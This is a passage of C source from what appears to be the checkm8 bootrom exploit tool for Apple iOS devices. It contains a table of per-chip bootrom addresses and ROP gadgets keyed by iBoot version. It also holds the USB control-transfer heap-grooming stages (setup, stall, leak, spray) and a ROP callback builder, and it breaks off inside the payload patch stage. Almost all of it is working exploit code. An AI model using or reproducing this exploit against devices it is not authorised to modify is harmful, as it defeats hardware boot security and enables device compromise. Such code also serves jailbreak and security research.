468 | send_usb_control_request_no_data(const usb_handle_t *handle, uint8_t bm_request_type, uint8_t b_request, uint16_t w_value, uint16_t w_index, size_t w_len, transfer_ret_t *transfer_ret) {
469 | bool ret = false;
470 | void *p_data;
471 |
472 | if(w_len == 0) {
473 | ret = send_usb_control_request(handle, bm_request_type, b_request, w_value, w_index, NULL, 0, transfer_ret);
474 | } else if((p_data = malloc(w_len)) != NULL) {
475 | memset(p_data, '\0', w_len);
476 | ret = send_usb_control_request(handle, bm_request_type, b_request, w_value, w_index, p_data, w_len, transfer_ret);
477 | free(p_data);
478 | }
479 | return ret;
480 | }
481 |
482 | static bool
483 | send_usb_control_request_async_no_data(const usb_handle_t *handle, uint8_t bm_request_type, uint8_t b_request, uint16_t w_value, uint16_t w_index, size_t w_len, unsigned usb_abort_timeout, transfer_ret_t *transfer_ret) {
484 | bool ret = false;
485 | void *p_data;
486 |
487 | if(w_len == 0) {
488 | ret = send_usb_control_request_async(handle, bm_request_type, b_request, w_value, w_index, NULL, 0, usb_abort_timeout, transfer_ret);
489 | } else if((p_data = malloc(w_len)) != NULL) {
490 | memset(p_data, '\0', w_len);
491 | ret = send_usb_control_request_async(handle, bm_request_type, b_request, w_value, w_index, p_data, w_len, usb_abort_timeout, transfer_ret);
492 | free(p_data);
493 | }
494 | return ret;
495 | }
496 |
497 | static char *
498 | get_usb_serial_number(usb_handle_t *handle) {
499 | transfer_ret_t transfer_ret;
500 | uint8_t buf[UINT8_MAX];
501 | char *str = NULL;
502 | size_t i, sz;
503 |
504 | if(send_usb_control_request(handle, 0x80, 6, 1U << 8U, 0, &device_descriptor, sizeof(device_descriptor), &transfer_ret) && transfer_ret.ret == USB_TRANSFER_OK && transfer_ret.sz == sizeof(device_descriptor) && send_usb_control_request(handle, 0x80, 6, (3U << 8U) | device_descriptor.i_serial_number, 0x409, buf, sizeof(buf), &transfer_ret) && transfer_ret.ret == USB_TRANSFER_OK && transfer_ret.sz == buf[0] && (sz = buf[0] / 2) != 0 && (str = malloc(sz)) != NULL) {
505 | for(i = 0; i < sz; ++i) {
506 | str[i] = (char)buf[2 * (i + 1)];
507 | }
508 | str[sz - 1] = '\0';
509 | }
510 | return str;
511 | }
512 |
513 | static bool
514 | checkm8_check_usb_device(usb_handle_t *handle, void *pwned) {
515 | char *usb_serial_num = get_usb_serial_number(handle);
516 | bool ret = false;
517 |
518 | if(usb_serial_num != NULL) {
519 | if(strstr(usb_serial_num, " SRTG:[iBoot-1145.3]") != NULL) {
520 | cpid = 0x8950;
521 | config_large_leak = 659;
522 | config_overwrite_pad = 0x640;
523 | memcpy_addr = 0x9ACC;
524 | aes_crypto_cmd = 0x7301;
525 | gUSBSerialNumber = 0x10061F80;
526 | dfu_handle_request = 0x10061A24;
527 | payload_dest_armv7 = 0x10079800;
528 | usb_core_do_transfer = 0x7621;
529 | dfu_handle_bus_reset = 0x10061A3C;
530 | insecure_memory_base = 0x10000000;
531 | handle_interface_request = 0x8161;
532 | usb_create_string_descriptor = 0x7C55;
533 | usb_serial_number_string_descriptor = 0x100600D8;
534 | } else if(strstr(usb_serial_num, " SRTG:[iBoot-1145.3.3]") != NULL) {
535 | cpid = 0x8955;
536 | config_large_leak = 659;
537 | config_overwrite_pad = 0x640;
538 | memcpy_addr = 0x9B0C;
539 | aes_crypto_cmd = 0x7341;
540 | gUSBSerialNumber = 0x10061F80;
541 | dfu_handle_request = 0x10061A24;
542 | payload_dest_armv7 = 0x10079800;
543 | usb_core_do_transfer = 0x7661;
544 | dfu_handle_bus_reset = 0x10061A3C;
545 | insecure_memory_base = 0x10000000;
546 | handle_interface_request = 0x81A1;
547 | usb_create_string_descriptor = 0x7C95;
548 | usb_serial_number_string_descriptor = 0x100600D8;
549 | } else if(strstr(usb_serial_num, " SRTG:[iBoot-1458.2]") != NULL) {
550 | cpid = 0x8947;
551 | config_large_leak = 626;
552 | config_overwrite_pad = 0x660;
553 | memcpy_addr = 0x9A3C;
554 | aes_crypto_cmd = 0x7061;
555 | gUSBSerialNumber = 0x3402DDF8;
556 | dfu_handle_request = 0x3402D92C;
557 | payload_dest_armv7 = 0x34039800;
558 | usb_core_do_transfer = 0x79ED;
559 | dfu_handle_bus_reset = 0x3402D944;
560 | insecure_memory_base = 0x34000000;
561 | handle_interface_request = 0x7BC9;
562 | usb_create_string_descriptor = 0x72A9;
563 | usb_serial_number_string_descriptor = 0x3402C2DA;
564 | } else if(strstr(usb_serial_num, " SRTG:[iBoot-1704.10]") != NULL) {
565 | cpid = 0x8960;
566 | config_large_leak = 7936;
567 | config_overwrite_pad = 0x5C0;
568 | patch_addr = 0x100005CE0;
569 | memcpy_addr = 0x10000ED50;
570 | aes_crypto_cmd = 0x10000B9A8;
571 | boot_tramp_end = 0x1800E1000;
572 | gUSBSerialNumber = 0x180086CDC;
573 | dfu_handle_request = 0x180086C70;
574 | usb_core_do_transfer = 0x10000CC78;
575 | dfu_handle_bus_reset = 0x180086CA0;
576 | insecure_memory_base = 0x180380000;
577 | handle_interface_request = 0x10000CFB4;
578 | usb_create_string_descriptor = 0x10000BFEC;
579 | usb_serial_number_string_descriptor = 0x180080562;
580 | } else if(strstr(usb_serial_num, " SRTG:[iBoot-1991.0.0.2.16]") != NULL) {
581 | cpid = 0x7001;
582 | config_overwrite_pad = 0x500;
583 | patch_addr = 0x10000AD04;
584 | memcpy_addr = 0x100013F10;
585 | aes_crypto_cmd = 0x100010A90;
586 | boot_tramp_end = 0x1800E1000;
587 | gUSBSerialNumber = 0x180088E48;
588 | dfu_handle_request = 0x180088DF8;
589 | usb_core_do_transfer = 0x100011BB4;
590 | dfu_handle_bus_reset = 0x180088E18;
591 | insecure_memory_base = 0x180380000;
592 | handle_interface_request = 0x100011EE4;
593 | usb_create_string_descriptor = 0x100011074;
594 | usb_serial_number_string_descriptor = 0x180080C2A;
595 | } else if(strstr(usb_serial_num, " SRTG:[iBoot-1992.0.0.1.19]") != NULL) {
596 | cpid = 0x7000;
597 | config_overwrite_pad = 0x500;
598 | patch_addr = 0x100007E98;
599 | memcpy_addr = 0x100010E70;
600 | aes_crypto_cmd = 0x10000DA90;
601 | boot_tramp_end = 0x1800E1000;
602 | gUSBSerialNumber = 0x1800888C8;
603 | dfu_handle_request = 0x180088878;
604 | usb_core_do_transfer = 0x10000EBB4;
605 | dfu_handle_bus_reset = 0x180088898;
606 | insecure_memory_base = 0x180380000;
607 | handle_interface_request = 0x10000EEE4;
608 | usb_create_string_descriptor = 0x10000E074;
609 | usb_serial_number_string_descriptor = 0x18008062A;
610 | } else if(strstr(usb_serial_num, " SRTG:[iBoot-2098.0.0.2.4]") != NULL) {
611 | cpid = 0x7002;
612 | config_overwrite_pad = 0x500;
613 | memcpy_addr = 0x89F4;
614 | aes_crypto_cmd = 0x6341;
615 | gUSBSerialNumber = 0x46005958;
616 | dfu_handle_request = 0x46005898;
617 | payload_dest_armv7 = 0x46007800;
618 | usb_core_do_transfer = 0x6E59;
619 | dfu_handle_bus_reset = 0x460058B0;
620 | insecure_memory_base = 0x46018000;
621 | handle_interface_request = 0x7081;
622 | usb_create_string_descriptor = 0x6745;
623 | usb_serial_number_string_descriptor = 0x4600034A;
624 | } else if(strstr(usb_serial_num, " SRTG:[iBoot-2234.0.0.2.22]") != NULL) {
625 | cpid = 0x8003;
626 | config_overwrite_pad = 0x500;
627 | patch_addr = 0x10000812C;
628 | ttbr0_addr = 0x1800C8000;
629 | memcpy_addr = 0x100011030;
630 | aes_crypto_cmd = 0x10000DAA0;
631 | ttbr0_vrom_off = 0x400;
632 | boot_tramp_end = 0x1800E1000;
633 | gUSBSerialNumber = 0x180087958;
634 | dfu_handle_request = 0x1800878F8;
635 | usb_core_do_transfer = 0x10000EE78;
636 | dfu_handle_bus_reset = 0x180087928;
637 | insecure_memory_base = 0x180380000;
638 | handle_interface_request = 0x10000F1B0;
639 | usb_create_string_descriptor = 0x10000E354;
640 | usb_serial_number_string_descriptor = 0x1800807DA;
641 | } else if(strstr(usb_serial_num, " SRTG:[iBoot-2234.0.0.3.3]") != NULL) {
642 | cpid = 0x8000;
643 | config_overwrite_pad = 0x500;
644 | patch_addr = 0x10000812C;
645 | ttbr0_addr = 0x1800C8000;
646 | memcpy_addr = 0x100011030;
647 | aes_crypto_cmd = 0x10000DAA0;
648 | ttbr0_vrom_off = 0x400;
649 | boot_tramp_end = 0x1800E1000;
650 | gUSBSerialNumber = 0x180087958;
651 | dfu_handle_request = 0x1800878F8;
652 | usb_core_do_transfer = 0x10000EE78;
653 | dfu_handle_bus_reset = 0x180087928;
654 | insecure_memory_base = 0x180380000;
655 | handle_interface_request = 0x10000F1B0;
656 | usb_create_string_descriptor = 0x10000E354;
657 | usb_serial_number_string_descriptor = 0x1800807DA;
658 | } else if(strstr(usb_serial_num, " SRTG:[iBoot-2481.0.0.2.1]") != NULL) {
659 | cpid = 0x8001;
660 | config_hole = 6;
661 | config_overwrite_pad = 0x5C0;
662 | tlbi = 0x100000404;
663 | nop_gadget = 0x10000CD60;
664 | ret_gadget = 0x100000118;
665 | patch_addr = 0x100007668;
666 | ttbr0_addr = 0x180050000;
667 | func_gadget = 0x10000CD40;
668 | write_ttbr0 = 0x1000003B4;
669 | memcpy_addr = 0x1000106F0;
670 | aes_crypto_cmd = 0x10000C9D4;
671 | boot_tramp_end = 0x180044000;
672 | ttbr0_vrom_off = 0x400;
673 | ttbr0_sram_off = 0x600;
674 | gUSBSerialNumber = 0x180047578;
675 | dfu_handle_request = 0x18004C378;
676 | usb_core_do_transfer = 0x10000DDA4;
677 | dfu_handle_bus_reset = 0x18004C3A8;
678 | insecure_memory_base = 0x180000000;
679 | handle_interface_request = 0x10000E0B4;
680 | usb_create_string_descriptor = 0x10000D280;
681 | usb_serial_number_string_descriptor = 0x18004486A;
682 | } else if(strstr(usb_serial_num, " SRTG:[iBoot-2651.0.0.1.31]") != NULL) {
683 | cpid = 0x8002;
684 | config_hole = 5;
685 | config_overwrite_pad = 0x5C0;
686 | memcpy_addr = 0xB6F8;
687 | aes_crypto_cmd = 0x86DD;
688 | gUSBSerialNumber = 0x48802AB8;
689 | dfu_handle_request = 0x48806344;
690 | payload_dest_armv7 = 0x48806E00;
691 | usb_core_do_transfer = 0x9411;
692 | dfu_handle_bus_reset = 0x4880635C;
693 | insecure_memory_base = 0x48818000;
694 | handle_interface_request = 0x95F1;
695 | usb_create_string_descriptor = 0x8CA5;
696 | usb_serial_number_string_descriptor = 0x4880037A;
697 | } else if(strstr(usb_serial_num, " SRTG:[iBoot-2651.0.0.3.3]") != NULL) {
698 | cpid = 0x8004;
699 | config_hole = 5;
700 | config_overwrite_pad = 0x5C0;
701 | memcpy_addr = 0xA884;
702 | aes_crypto_cmd = 0x786D;
703 | gUSBSerialNumber = 0x48802AE8;
704 | dfu_handle_request = 0x48806384;
705 | payload_dest_armv7 = 0x48806E00;
706 | usb_core_do_transfer = 0x85A1;
707 | dfu_handle_bus_reset = 0x4880639C;
708 | insecure_memory_base = 0x48818000;
709 | handle_interface_request = 0x877D;
710 | usb_create_string_descriptor = 0x7E35;
711 | usb_serial_number_string_descriptor = 0x488003CA;
712 | } else if(strstr(usb_serial_num, " SRTG:[iBoot-2696.0.0.1.33]") != NULL) {
713 | cpid = 0x8010;
714 | config_hole = 5;
715 | config_overwrite_pad = 0x5C0;
716 | tlbi = 0x100000434;
717 | nop_gadget = 0x10000CC6C;
718 | ret_gadget = 0x10000015C;
719 | patch_addr = 0x1000074AC;
720 | ttbr0_addr = 0x1800A0000;
721 | func_gadget = 0x10000CC4C;
722 | write_ttbr0 = 0x1000003E4;
723 | memcpy_addr = 0x100010730;
724 | aes_crypto_cmd = 0x10000C8F4;
725 | boot_tramp_end = 0x1800B0000;
726 | ttbr0_vrom_off = 0x400;
727 | ttbr0_sram_off = 0x600;
728 | gUSBSerialNumber = 0x180083CF8;
729 | dfu_handle_request = 0x180088B48;
730 | usb_core_do_transfer = 0x10000DC98;
731 | dfu_handle_bus_reset = 0x180088B78;
732 | insecure_memory_base = 0x1800B0000;
733 | handle_interface_request = 0x10000DFB8;
734 | usb_create_string_descriptor = 0x10000D150;
735 | usb_serial_number_string_descriptor = 0x1800805DA;
736 | } else if(strstr(usb_serial_num, " SRTG:[iBoot-3135.0.0.2.3]") != NULL) {
737 | cpid = 0x8011;
738 | config_hole = 6;
739 | config_overwrite_pad = 0x540;
740 | tlbi = 0x100000444;
741 | nop_gadget = 0x10000CD0C;
742 | ret_gadget = 0x100000148;
743 | patch_addr = 0x100007630;
744 | ttbr0_addr = 0x1800A0000;
745 | func_gadget = 0x10000CCEC;
746 | write_ttbr0 = 0x1000003F4;
747 | memcpy_addr = 0x100010950;
748 | aes_crypto_cmd = 0x10000C994;
749 | boot_tramp_end = 0x1800B0000;
750 | ttbr0_vrom_off = 0x400;
751 | ttbr0_sram_off = 0x600;
752 | gUSBSerialNumber = 0x180083D28;
753 | dfu_handle_request = 0x180088A58;
754 | usb_core_do_transfer = 0x10000DD64;
755 | dfu_handle_bus_reset = 0x180088A88;
756 | insecure_memory_base = 0x1800B0000;
757 | handle_interface_request = 0x10000E08C;
758 | usb_create_string_descriptor = 0x10000D234;
759 | usb_serial_number_string_descriptor = 0x18008062A;
760 | } else if(strstr(usb_serial_num, " SRTG:[iBoot-3332.0.0.1.23]") != NULL) {
761 | cpid = 0x8015;
762 | config_hole = 6;
763 | config_overwrite_pad = 0x540;
764 | tlbi = 0x1000004AC;
765 | nop_gadget = 0x10000A9C4;
766 | ret_gadget = 0x100000148;
767 | patch_addr = 0x10000624C;
768 | ttbr0_addr = 0x18000C000;
769 | func_gadget = 0x10000A9AC;
770 | write_ttbr0 = 0x10000045C;
771 | memcpy_addr = 0x10000E9D0;
772 | aes_crypto_cmd = 0x100009E9C;
773 | boot_tramp_end = 0x18001C000;
774 | ttbr0_vrom_off = 0x400;
775 | ttbr0_sram_off = 0x600;
776 | gUSBSerialNumber = 0x180003A78;
777 | dfu_handle_request = 0x180008638;
778 | usb_core_do_transfer = 0x10000B9A8;
779 | dfu_handle_bus_reset = 0x180008668;
780 | insecure_memory_base = 0x18001C000;
781 | handle_interface_request = 0x10000BCCC;
782 | usb_create_string_descriptor = 0x10000AE80;
783 | usb_serial_number_string_descriptor = 0x1800008FA;
784 | } else if(strstr(usb_serial_num, " SRTG:[iBoot-3401.0.0.1.16]") != NULL) {
785 | cpid = 0x8012;
786 | config_hole = 6;
787 | config_overwrite_pad = 0x540;
788 | tlbi = 0x100000494;
789 | nop_gadget = 0x100008DB8;
790 | ret_gadget = 0x10000012C;
791 | patch_addr = 0x100004854;
792 | ttbr0_addr = 0x18000C000;
793 | func_gadget = 0x100008DA0;
794 | write_ttbr0 = 0x100000444;
795 | memcpy_addr = 0x10000EA30;
796 | aes_crypto_cmd = 0x1000082AC;
797 | boot_tramp_end = 0x18001C000;
798 | ttbr0_vrom_off = 0x400;
799 | ttbr0_sram_off = 0x600;
800 | gUSBSerialNumber = 0x180003AF8;
801 | dfu_handle_request = 0x180008B08;
802 | usb_core_do_transfer = 0x10000BD20;
803 | dfu_handle_bus_reset = 0x180008B38;
804 | insecure_memory_base = 0x18001C000;
805 | handle_interface_request = 0x10000BFFC;
806 | usb_create_string_descriptor = 0x10000B1CC;
807 | usb_serial_number_string_descriptor = 0x18000082A;
808 | }
809 | if(cpid != 0) {
810 | printf("CPID: 0x%" PRIX32 "\n", cpid);
811 | *(bool *)pwned = strstr(usb_serial_num, pwnd_str) != NULL;
812 | ret = true;
813 | }
814 | free(usb_serial_num);
815 | }
816 | return ret;
817 | }
818 |
819 | static bool
820 | dfu_check_status(const usb_handle_t *handle, uint8_t status, uint8_t state) {
821 | struct {
822 | uint8_t status, poll_timeout[3], state, str_idx;
823 | } dfu_status;
824 | transfer_ret_t transfer_ret;
825 |
826 | return send_usb_control_request(handle, 0xA1, DFU_GET_STATUS, 0, 0, &dfu_status, sizeof(dfu_status), &transfer_ret) && transfer_ret.ret == USB_TRANSFER_OK && transfer_ret.sz == sizeof(dfu_status) && dfu_status.status == status && dfu_status.state == state;
827 | }
828 |
829 | static bool
830 | dfu_set_state_wait_reset(const usb_handle_t *handle) {
831 | transfer_ret_t transfer_ret;
832 |
833 | return send_usb_control_request_no_data(handle, 0x21, DFU_DNLOAD, 0, 0, 0, &transfer_ret) && transfer_ret.ret == USB_TRANSFER_OK && transfer_ret.sz == 0 && dfu_check_status(handle, DFU_STATUS_OK, DFU_STATE_MANIFEST_SYNC) && dfu_check_status(handle, DFU_STATUS_OK, DFU_STATE_MANIFEST) && dfu_check_status(handle, DFU_STATUS_OK, DFU_STATE_MANIFEST_WAIT_RESET);
834 | }
835 |
836 | static bool
837 | checkm8_stage_reset(const usb_handle_t *handle) {
838 | transfer_ret_t transfer_ret;
839 |
840 | if(send_usb_control_request_no_data(handle, 0x21, DFU_DNLOAD, 0, 0, DFU_FILE_SUFFIX_LEN, &transfer_ret) && transfer_ret.ret == USB_TRANSFER_OK && transfer_ret.sz == DFU_FILE_SUFFIX_LEN && dfu_set_state_wait_reset(handle) && send_usb_control_request_no_data(handle, 0x21, DFU_DNLOAD, 0, 0, EP0_MAX_PACKET_SZ, &transfer_ret) && transfer_ret.ret == USB_TRANSFER_OK && transfer_ret.sz == EP0_MAX_PACKET_SZ) {
841 | return true;
842 | }
843 | send_usb_control_request_no_data(handle, 0x21, DFU_CLR_STATUS, 0, 0, 0, NULL);
844 | return false;
845 | }
846 |
847 | static bool
848 | checkm8_stage_setup(const usb_handle_t *handle) {
849 | unsigned usb_abort_timeout = usb_timeout - 1;
850 | transfer_ret_t transfer_ret;
851 |
852 | for(;;) {
853 | if(send_usb_control_request_async_no_data(handle, 0x21, DFU_DNLOAD, 0, 0, DFU_MAX_TRANSFER_SZ, usb_abort_timeout, &transfer_ret) && transfer_ret.sz < config_overwrite_pad && send_usb_control_request_no_data(handle, 0, 0, 0, 0, config_overwrite_pad - transfer_ret.sz, &transfer_ret) && transfer_ret.ret == USB_TRANSFER_STALL) {
854 | return true;
855 | }
856 | send_usb_control_request_no_data(handle, 0x21, DFU_DNLOAD, 0, 0, EP0_MAX_PACKET_SZ, NULL);
857 | usb_abort_timeout = (usb_abort_timeout + 1) % (usb_timeout - usb_abort_timeout_min + 1) + usb_abort_timeout_min;
858 | }
859 | return false;
860 | }
861 |
862 | static bool
863 | checkm8_usb_request_leak(const usb_handle_t *handle) {
864 | transfer_ret_t transfer_ret;
865 |
866 | return send_usb_control_request_async_no_data(handle, 0x80, 6, (3U << 8U) | device_descriptor.i_serial_number, USB_MAX_STRING_DESCRIPTOR_IDX, EP0_MAX_PACKET_SZ, 1, &transfer_ret) && transfer_ret.sz == 0;
867 | }
868 |
869 | static void
870 | checkm8_stall(const usb_handle_t *handle) {
871 | unsigned usb_abort_timeout = usb_timeout - 1;
872 | transfer_ret_t transfer_ret;
873 |
874 | for(;;) {
875 | if(send_usb_control_request_async_no_data(handle, 0x80, 6, (3U << 8U) | device_descriptor.i_serial_number, USB_MAX_STRING_DESCRIPTOR_IDX, 3 * EP0_MAX_PACKET_SZ, usb_abort_timeout, &transfer_ret) && transfer_ret.sz < 3 * EP0_MAX_PACKET_SZ && checkm8_usb_request_leak(handle)) {
876 | break;
877 | }
878 | usb_abort_timeout = (usb_abort_timeout + 1) % (usb_timeout - usb_abort_timeout_min + 1) + usb_abort_timeout_min;
879 | }
880 | }
881 |
882 | static bool
883 | checkm8_no_leak(const usb_handle_t *handle) {
884 | transfer_ret_t transfer_ret;
885 |
886 | return send_usb_control_request_async_no_data(handle, 0x80, 6, (3U << 8U) | device_descriptor.i_serial_number, USB_MAX_STRING_DESCRIPTOR_IDX, 3 * EP0_MAX_PACKET_SZ + 1, 1, &transfer_ret) && transfer_ret.sz == 0;
887 | }
888 |
889 | static bool
890 | checkm8_usb_request_stall(const usb_handle_t *handle) {
891 | transfer_ret_t transfer_ret;
892 |
893 | return send_usb_control_request_no_data(handle, 2, 3, 0, 0x80, 0, &transfer_ret) && transfer_ret.ret == USB_TRANSFER_STALL;
894 | }
895 |
896 | static bool
897 | checkm8_stage_spray(const usb_handle_t *handle) {
898 | size_t i;
899 |
900 | if(config_large_leak == 0) {
901 | if(cpid == 0x7001 || cpid == 0x7000 || cpid == 0x7002 || cpid == 0x8003 || cpid == 0x8000) {
902 | while(!checkm8_usb_request_stall(handle) || !checkm8_usb_request_leak(handle) || !checkm8_no_leak(handle)) {}
903 | } else {
904 | checkm8_stall(handle);
905 | for(i = 0; i < config_hole; ++i) {
906 | while(!checkm8_no_leak(handle)) {}
907 | }
908 | while(!checkm8_usb_request_leak(handle) || !checkm8_no_leak(handle)) {}
909 | }
910 | send_usb_control_request_no_data(handle, 0x21, DFU_CLR_STATUS, 0, 0, 3 * EP0_MAX_PACKET_SZ + 1, NULL);
911 | } else {
912 | for(i = 0; i < config_large_leak; ++i) {
913 | while(!checkm8_usb_request_stall(handle)) {}
914 | }
915 | send_usb_control_request_no_data(handle, 0x21, DFU_CLR_STATUS, 0, 0, 0, NULL);
916 | }
917 | return true;
918 | }
919 |
920 | static size_t
921 | usb_rop_callbacks(uint8_t *buf, uint64_t addr, const callback_t *callbacks, size_t callback_cnt) {
922 | uint8_t block_0[MAX_BLOCK_SZ], block_1[MAX_BLOCK_SZ];
923 | size_t i, j, sz = 0, block_0_sz, block_1_sz;
924 | uint64_t reg;
925 |
926 | for(i = 0; i < callback_cnt; i += 5) {
927 | block_1_sz = block_0_sz = 0;
928 | for(j = 0; j < 5; ++j) {
929 | addr += MAX_BLOCK_SZ / 5;
930 | if(j == 4) {
931 | addr += MAX_BLOCK_SZ;
932 | }
933 | if(i + j < callback_cnt - 1) {
934 | reg = func_gadget;
935 | memcpy(block_0 + block_0_sz, ®, sizeof(reg));
936 | block_0_sz += sizeof(reg);
937 | reg = addr;
938 | memcpy(block_0 + block_0_sz, ®, sizeof(reg));
939 | block_0_sz += sizeof(reg);
940 | reg = callbacks[i + j].arg;
941 | memcpy(block_1 + block_1_sz, ®, sizeof(reg));
942 | block_1_sz += sizeof(reg);
943 | reg = callbacks[i + j].func;
944 | memcpy(block_1 + block_1_sz, ®, sizeof(reg));
945 | block_1_sz += sizeof(reg);
946 | } else if(i + j == callback_cnt - 1) {
947 | reg = func_gadget;
948 | memcpy(block_0 + block_0_sz, ®, sizeof(reg));
949 | block_0_sz += sizeof(reg);
950 | reg = 0;
951 | memcpy(block_0 + block_0_sz, ®, sizeof(reg));
952 | block_0_sz += sizeof(reg);
953 | reg = callbacks[i + j].arg;
954 | memcpy(block_1 + block_1_sz, ®, sizeof(reg));
955 | block_1_sz += sizeof(reg);
956 | reg = callbacks[i + j].func;
957 | memcpy(block_1 + block_1_sz, ®, sizeof(reg));
958 | block_1_sz += sizeof(reg);
959 | } else {
960 | reg = 0;
961 | memcpy(block_0 + block_0_sz, ®, sizeof(reg));
962 | block_0_sz += sizeof(reg);
963 | reg = 0;
964 | memcpy(block_0 + block_0_sz, ®, sizeof(reg));
965 | block_0_sz += sizeof(reg);
966 | }
967 | }
968 | memcpy(buf + sz, block_0, block_0_sz);
969 | sz += block_0_sz;
970 | memcpy(buf + sz, block_1, block_1_sz);
971 | sz += block_1_sz;
972 | }
973 | return sz;
974 | }
975 |
976 | static bool
977 | dfu_send_data(const usb_handle_t *handle, uint8_t *data, size_t len) {
978 | transfer_ret_t transfer_ret;
979 | size_t i, packet_sz;
980 |
981 | for(i = 0; i < len; i += packet_sz) {
982 | packet_sz = MIN(len - i, DFU_MAX_TRANSFER_SZ);
983 | if(!send_usb_control_request(handle, 0x21, DFU_DNLOAD, 0, 0, &data[i], packet_sz, &transfer_ret) || transfer_ret.ret != USB_TRANSFER_OK || transfer_ret.sz != packet_sz) {
984 | return false;
985 | }
986 | }
987 | return send_usb_control_request_no_data(handle, 0x21, DFU_DNLOAD, 0, 0, DFU_FILE_SUFFIX_LEN, &transfer_ret) && transfer_ret.ret == USB_TRANSFER_OK && transfer_ret.sz == DFU_FILE_SUFFIX_LEN && dfu_set_state_wait_reset(handle);
988 | }
989 |
990 | static bool
991 | read_binary_file(const char *filename, uint8_t **buf, size_t *len) {
992 | FILE *fp = fopen(filename, "rb");
993 | bool ret = false;
994 |
995 | if(fp != NULL) {
996 | if(fseek(fp, 0, SEEK_END) == 0 && (*len = (size_t)ftell(fp)) != 0 && (*buf = malloc(*len)) != NULL) {
997 | rewind(fp);
998 | ret = fread(*buf, 1, *len, fp) == *len;
999 | }
1000 | fclose(fp);
1001 | }
1002 | if(!ret) {
1003 | printf("Cannot read file \"%s\".\n", filename);
1004 | }
1005 | return ret;
1006 | }
1007 |
1008 | static bool
1009 | checkm8_stage_patch(const usb_handle_t *handle) {
1010 | struct {
1011 | uint64_t pwnd[2], payload_dest, dfu_handle_bus_reset, dfu_handle_request, payload_off, payload_sz, memcpy_addr, gUSBSerialNumber, usb_create_string_descriptor, usb_serial_number_string_descriptor, ttbr0_vrom_addr, patch_addr;
1012 | } A9;
1013 | struct {
1014 | uint64_t pwnd[2], payload_dest, dfu_handle_bus_reset, dfu_handle_request, payload_off, payload_sz, memcpy_addr, gUSBSerialNumber, usb_create_string_descriptor, usb_serial_number_string_descriptor, patch_addr;
1015 | } notA9;
1016 | struct {
1017 | uint32_t pwnd[4], payload_dest, dfu_handle_bus_reset, dfu_handle_request, payload_off, payload_sz, memcpy_addr, gUSBSerialNumber, usb_create_string_descriptor, usb_serial_number_string_descriptor;
1018 | } notA9_armv7;
1019 | struct {
1020 | uint64_t handle_interface_request, insecure_memory_base, exec_magic, done_magic, memc_magic, memcpy_addr, usb_core_do_transfer;
1021 | } handle_checkm8_request;
1022 | struct {
1023 | uint32_t handle_interface_request, insecure_memory_base, exec_magic, done_magic, memc_magic, memcpy_addr, usb_core_do_transfer;
1024 | } handle_checkm8_request_armv7;
1025 | callback_t callbacks[] = {
1026 | { write_ttbr0, insecure_memory_base },
1027 | { tlbi, 0 },
1028 | { insecure_memory_base + ARM_16K_TT_L2_SZ + ttbr0_sram_off + 2 * sizeof(uint64_t), 0 },
1029 | { write_ttbr0, ttbr0_addr },
1030 | { tlbi, 0 },
1031 | { ret_gadget, 0 }
1032 | };
1033 | size_t i, data_sz, packet_sz, payload_sz, overwrite_sz, payload_handle_checkm8_request_sz;
1034 | uint8_t *data, *payload, *payload_handle_checkm8_request;
1035 | checkm8_overwrite_armv7_t checkm8_overwrite_armv7;
1036 | checkm8_overwrite_t checkm8_overwrite;
1037 | transfer_ret_t transfer_ret;
1038 | bool ret = false;
1039 | void *overwrite;
1040 | uint64_t reg;
1041 |
1042 | if(cpid == 0x8003 || cpid == 0x8000) {
1043 | if(payload_A9_bin_len > sizeof(A9)) {
1044 | payload = payload_A9_bin;
1045 | payload_sz = payload_A9_bin_len - sizeof(A9);
1046 | } else {
1047 | payload = NULL;
1048 | payload_sz = 0;
1049 | }
1050 | } else if(cpid == 0x8960 || cpid == 0x7001 || cpid == 0x7000 || cpid == 0x8001 || cpid == 0x8010 || cpid == 0x8011 || cpid == 0x8015 || cpid == 0x8012) {
1051 | if(payload_notA9_bin_len > sizeof(notA9)) {
1052 | payload = payload_notA9_bin;
1053 | payload_sz = payload_notA9_bin_len - sizeof(notA9);
1054 | } else {
1055 | payload = NULL;
1056 | payload_sz = 0;
1057 | }
1058 | } else if(payload_notA9_armv7_bin_len > sizeof(notA9_armv7)) {
1059 | payload = payload_notA9_armv7_bin;
1060 | payload_sz = payload_notA9_armv7_bin_len - sizeof(notA9_armv7);
1061 | } else {
1062 | payload = NULL;
1063 | payload_sz = 0;
1064 | }
1065 | if(payload != NULL) {
1066 | if(cpid == 0x8960 || cpid == 0x7001 || cpid == 0x7000 || cpid == 0x8003 || cpid == 0x8000 || cpid == 0x8001 || cpid == 0x8010 || cpid == 0x8011 || cpid == 0x8015 || cpid == 0x8012) {
1067 | if(payload_handle_checkm8_request_bin_len > sizeof(handle_checkm8_request)) {
1068 | payload_handle_checkm8_request = payload_handle_checkm8_request_bin;
1069 | payload_handle_checkm8_request_sz = payload_handle_checkm8_request_bin_len - sizeof(handle_checkm8_request);
1070 | if(cpid == 0x8003 || cpid == 0x8000) {
1071 | data = calloc(1, payload_sz + sizeof(A9) + payload_handle_checkm8_request_sz + sizeof(handle_checkm8_request));
1072 | } else if(cpid == 0x8001 || cpid == 0x8010 || cpid == 0x8011 || cpid == 0x8015 || cpid == 0x8012) {
1073 | data = calloc(1, DFU_MAX_TRANSFER_SZ + payload_sz + sizeof(notA9) + payload_handle_checkm8_request_sz + sizeof(handle_checkm8_request));
1074 | } else {
1075 | data = calloc(1, payload_sz + sizeof(notA9) + payload_handle_checkm8_request_sz + sizeof(handle_checkm8_request));
1076 | }
1077 | } else {
1078 | payload_handle_checkm8_request = NULL;
1079 | payload_handle_checkm8_request_sz = 0;
1080 | data = NULL;
1081 | }
1082 | } else if(payload_handle_checkm8_request_armv7_bin_len > sizeof(handle_checkm8_request_armv7)) {
1083 | payload_handle_checkm8_request = payload_handle_checkm8_request_armv7_bin;
1084 | payload_handle_checkm8_request_sz = payload_handle_checkm8_request_armv7_bin_len - sizeof(handle_checkm8_request_armv7);
1085 | data = calloc(1, payload_sz + sizeof(notA9_armv7) + payload_handle_checkm8_request_sz + sizeof(handle_checkm8_request_armv7));
1086 | } else {
1087 | payload_handle_checkm8_request = NULL;
1088 | payload_handle_checkm8_request_sz = 0;
1089 | data = NULL;
1090 | }
1091 | if(data != NULL) {
1092 | if(cpid == 0x8001 || cpid == 0x8010 || cpid == 0x8011 || cpid == 0x8015 || cpid == 0x8012) {
1093 | reg = 0x1000006A5;
1094 | memcpy(data + ttbr0_vrom_off, ®, sizeof(reg));
1095 | reg = 0x60000100000625;
